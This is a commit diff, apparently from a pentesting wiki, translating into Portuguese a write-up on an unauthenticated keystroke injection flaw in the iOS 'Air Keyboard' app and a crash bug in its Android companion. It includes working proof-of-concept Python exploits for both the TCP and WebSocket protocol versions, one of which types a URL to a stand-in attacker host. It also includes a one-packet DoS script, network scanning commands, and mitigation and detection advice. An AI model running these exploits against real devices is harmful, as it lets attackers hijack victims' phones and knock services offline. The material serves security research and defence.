Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in

This commit is contained in:
Translator 2025-07-30 14:15:08 +00:00
parent bca3198e9a
commit 0d860648f1

View File

@ -1,18 +1,26 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
# Air Keyboard Remote Input Injection (Escuta TCP / WebSocket não autenticada)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
A versão iOS do aplicativo comercial "Air Keyboard" (ID da App Store 6463187929) abre um **serviço TCP em texto claro na porta 8888** que aceita quadros de teclas **sem qualquer autenticação**. Qualquer dispositivo na mesma rede Wi-Fi pode se conectar a essa porta e injetar entrada de teclado arbitrária no telefone da vítima, alcançando **sequestro total de interação remota**.
A versão iOS do aplicativo comercial **“Air Keyboard”** (ID da App Store 6463187929) expõe um serviço de rede local que **aceita quadros de teclas sem qualquer autenticação ou verificação de origem**. Dependendo da versão instalada, o serviço é:
Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado causa uma **exceção não tratada na rotina de descriptografia do OpenSSL**, fazendo o serviço em segundo plano falhar (**DoS**).
* **≤ 1.0.4** escuta TCP bruta na **porta 8888** que espera um cabeçalho de comprimento de 2 bytes seguido por um *device-id* e o payload ASCII.
* **≥ 1.0.5 (junho de 2025)** escuta **WebSocket** na *mesma* porta (**8888**) que analisa chaves **JSON** como `{"type":1,"text":"…"}`.
## 1. Service Discovery
Qualquer dispositivo na mesma rede Wi-Fi / sub-rede pode, portanto, **injetar entrada de teclado arbitrária no telefone da vítima, conseguindo uma completa tomada de controle remoto**.
Uma versão Android acompanhante escuta na **porta 55535**. Ela realiza um handshake fraco AES-ECB, mas lixo elaborado ainda causa uma **exceção não tratada dentro do OpenSSL**, derrubando o serviço em segundo plano (**DoS**).
> A vulnerabilidade está **ainda sem correção no momento da escrita (julho de 2025)** e o aplicativo continua disponível na App Store.
---
## 1. Descoberta de Serviço
Escaneie a rede local e procure as duas portas fixas usadas pelos aplicativos:
```bash
# iOS (input-injection)
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
```
Nos dispositivos Android, você pode identificar o pacote responsável localmente:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Formato de Quadro (iOS)
Em **iOS com jailbreak** você pode fazer algo semelhante com `lsof -i -nP | grep LISTEN | grep 8888`.
O binário revela a seguinte lógica de análise dentro da rotina `handleInputFrame()`:
---
## 2. Detalhes do Protocolo (iOS)
### 2.1 Legado (≤ 1.0.4) quadros binários personalizados
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
O comprimento declarado inclui o byte `device_id` **mas não** o cabeçalho de dois bytes.
O *comprimento* declarado inclui o byte `device_id` **mas não** o cabeçalho de dois bytes em si.
### 2.2 Atual (≥ 1.0.5) JSON sobre WebSocket
A versão 1.0.5 migrou silenciosamente para WebSockets enquanto mantinha o número da porta inalterado. Um pressionamento de tecla mínimo se parece com:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
Nenhum handshake, token ou assinatura é necessário o primeiro objeto JSON já aciona o evento da interface.
---
## 3. Exploração PoC
### 3.1 Alvo ≤ 1.0.4 (TCP bruto)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
print("[+] Injected", keystrokes)
```
Qualquer ASCII imprimível (incluindo `\n`, `\r`, teclas especiais, etc.) pode ser enviado, efetivamente concedendo ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, visitar URLs de phishing, etc.
### 3.2 Alvo ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Qualquer ASCII imprimível — incluindo quebras de linha, tabs e a maioria das teclas especiais — pode ser enviado, dando ao atacante o mesmo poder que a entrada física do usuário: lançar aplicativos, enviar mensagens instantâneas, abrir URLs maliciosas, alternar configurações, etc.*
---
## 4. Android Companion Negação de Serviço
A porta Android (55535) espera uma senha de 4 caracteres criptografada com uma **chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, encerrando a thread do listener. Um único pacote malformado é, portanto, suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
A porta Android (55535) espera uma **senha de 4 caracteres criptografada com uma chave AES-128-ECB codificada** seguida por um nonce aleatório. Erros de análise sobem para `AES_decrypt()` e não são capturados, terminando a thread do listener. Portanto, um único pacote malformado é suficiente para manter usuários legítimos desconectados até que o processo seja relançado.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Causa Raiz
---
1. **Sem verificações de origem / integridade** em quadros recebidos (iOS).
## 5. Aplicativos Relacionados Um Antipadrão Recorrente
Air Keyboard **não é um caso isolado**. Outros utilitários móveis de “teclado/mouse remoto” foram lançados com a mesma falha:
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 permite execução de comandos não autenticados e registro de teclas em texto simples.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 RCE não autenticado & espionagem de tráfego.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 sem senha padrão, força bruta de PIN fraco e vazamento em texto claro.
Esses casos destacam uma negligência sistêmica das **superfícies de ataque voltadas para a rede em aplicativos móveis**.
---
## 6. Causas Raiz
1. **Sem verificações de origem / integridade** em quadros de entrada (iOS).
2. **Uso indevido de criptografia** (chave estática, ECB, validação de comprimento ausente) e **falta de tratamento de exceções** (Android).
3. **Direito de Rede Local concedido pelo usuário ≠ segurança** iOS solicita consentimento em tempo de execução para tráfego LAN, mas isso não substitui a autenticação adequada.
## 6. Mitigações & Ideias de Fortalecimento
---
* Nunca exponha serviços não autenticados em um dispositivo móvel.
* Derive segredos por dispositivo durante o onboarding e verifique-os antes de processar a entrada.
* Vincule o listener a `127.0.0.1` e use um transporte autenticado mutuamente, criptografado (por exemplo, TLS, Noise) para controle remoto.
* Detecte portas abertas inesperadas durante revisões de segurança móvel (`netstat`, `lsof`, `frida-trace` em `socket()` etc.).
* Como usuário final: desinstale o Air Keyboard ou use-o apenas em redes Wi-Fi confiáveis e isoladas.
## 7. Medidas de Fortalecimento e Defesa
## Detecção Cheat-Sheet (Pentesters)
Recomendações para desenvolvedores:
* Vincule o listener a **`127.0.0.1`** e use túnel sobre **mTLS** ou **Noise XX** se controle remoto for necessário.
* Derive **segredos por dispositivo durante o onboarding** (por exemplo, código QR ou PIN de emparelhamento) e imponha autenticação *mútua* antes de processar a entrada.
* Adote **Apple Network Framework** com *NWListener* + TLS em vez de sockets brutos.
* Implemente **verificações de sanidade de prefixo de comprimento** e tratamento estruturado de exceções ao descriptografar ou decodificar quadros.
Vitórias rápidas para Blue-/Red-Team:
* **Caça à rede:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ou filtro do Wireshark `tcp.port == 8888`.
* **Inspeção em tempo de execução:** Script Frida conectando `socket()`/`NWConnection` para listar listeners inesperados.
* **Relatório de Privacidade de Aplicativos iOS (Configurações ▸ Privacidade & Segurança ▸ Relatório de Privacidade de Aplicativos)** destaca aplicativos que contatam endereços LAN útil para identificar serviços maliciosos.
* **EDRs Móveis** podem adicionar regras simples de Yara-L para as chaves JSON `"selectionStart"`, `"selectionEnd"` dentro de cargas TCP em texto claro na porta 8888.
---
## Folha de Dicas de Detecção (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## Referências
- [Vulnerabilidade de Injeção de Entrada Remota no App Air Keyboard iOS Ainda Não Corrigida](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [Aviso CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) Vulnerabilidade de Injeção de Entrada Remota no Air Keyboard iOS App Ainda Sem Correção](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}